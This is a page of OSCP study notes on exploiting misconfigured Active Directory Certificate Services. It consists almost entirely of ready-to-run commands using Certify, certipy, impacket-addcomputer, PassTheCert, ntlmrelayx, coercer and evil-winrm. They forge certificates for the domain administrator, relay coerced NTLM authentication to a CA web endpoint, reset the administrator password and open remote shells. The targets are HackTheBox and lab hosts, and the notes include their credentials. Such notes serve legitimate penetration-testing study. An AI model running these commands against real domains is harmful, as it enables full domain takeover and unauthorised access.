> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/active-directory-certificate-services-adcs.md).
# Active Directory Certificate Services (ADCS)
What is it?
* Relies on **misconfigured certificate templates** that allow low-privileged users to enroll for certificates --> used to get Kerberos tickets for higher-privileged accounts
Finding if ADCS is present in domain
```
nxc ldap 10.10.11.202 -u ryan.cooper -p NuclearMosquito3 -M adcs
```
```
.\Certify.exe cas
```
Exploitation (Enrollment Rights: Domain Users)
```bash
# Identify Vulnerable Templates:
.\Certify.exe find /vulnerable
```
```bash
# Use certipy-ad to request a certificate for domain admin
certipy-ad req -u ryan.cooper@sequel.htb -p NuclearMosquito3 -upn administrator@sequel.htb -target sequel.htb -ca sequel-dc-ca -template UserAuthentication -dc-ip 10.10.11.202
```
```bash
# Download on Kali
wget https://raw.githubusercontent.com/AlmondOffSec/PassTheCert/refs/heads/main/Python/passthecert.py
# Seperate into key and certificate files
certipy-ad cert -pfx administrator.pfx -nocert -out administrator.key
certipy-ad cert -pfx administrator.pfx -nokey -out administrator.crt
# Passthecert using ldap-shell option
python3 passthecert.py -action ldap-shell -crt administrator.crt -key administrator.key -domain sequel.htb -dc-ip 10.10.11.202
whoami
change_password administrator P@ssw0rd123!
evil-winrm -i dc.sequel.htb -u administrator
```
Exploitation (Enrollment Rights: Domain Computers)
```bash
# Find vulnerable certificates templates
.\Certify.exe find /vulnerable
# Checking MachineAccountQuota for svc_ldap (to add new computers)
nxc ldap 10.10.11.222 -u svc_ldap -p 'lDaP_1n_th3_cle4r!' -M maq
# Add new computer:
impacket-addcomputer -computer-name 'myComputer$' -computer-pass 'h4x' htb/svc_ldap -dc-ip 10.10.11.222
# Request certificate:
certipy-ad req -u 'myComputer$'@authority.htb -p h4x -upn administrator@authority.htb -target authority.htb -ca AUTHORITY-CA -template CorpVPN -dc-ip 10.10.11.222
# Save into key and certificate files:
certipy-ad cert -pfx administrator.pfx -nocert -out administrator.key
certipy-ad cert -pfx administrator.pfx -nokey -out administrator.crt
# Use Pass-the-cert to obtain a LDAP shell:
wget https://raw.githubusercontent.com/AlmondOffSec/PassTheCert/refs/heads/main/Python/passthecert.py
python3 passthecert.py -action ldap-shell -crt administrator.crt -key administrator.key -domain authority.htb -dc-ip 10.10.11.222
whoami
change_password administrator P@ssw0rd123!
evil-winrm -i 10.10.11.222 -u administrator
```
Exploitation (NTLM Relay to ADCS HTTP Endpoints)
```bash
# Finding ESC8 Vulnerability (Web Enrollment over HTTP)
certipy-ad find -u 'adam@corp.com' -p lab -dc-ip 192.168.167.60 -enabled
cat 20250705224614_Certipy.txt
```
DomainController certificate template is a default template in ADCS and allows both Client and Server Authentication
```bash
# Coerce DC (.60) to authenticate with us (.245) via NTLM, (.61) is CA --> relay authentication for certificate request:
impacket-ntlmrelayx -t http://192.168.167.61/certsrv/certfnsh.asp --adcs --template DomainController -smb2support
coercer coerce --target-ip 192.168.167.60 --l 192.168.45.245 -u adam -p lab --filter-method-name EfsRpcAddUsersToFile
```
Obtained a certificate based on the DomainController certificate template in a pfx format.
```bash
# Authenticate to DC as DC machine account with Certipy
certipy-ad auth -pfx DC08$.pfx -dc-ip 192.168.167.60
```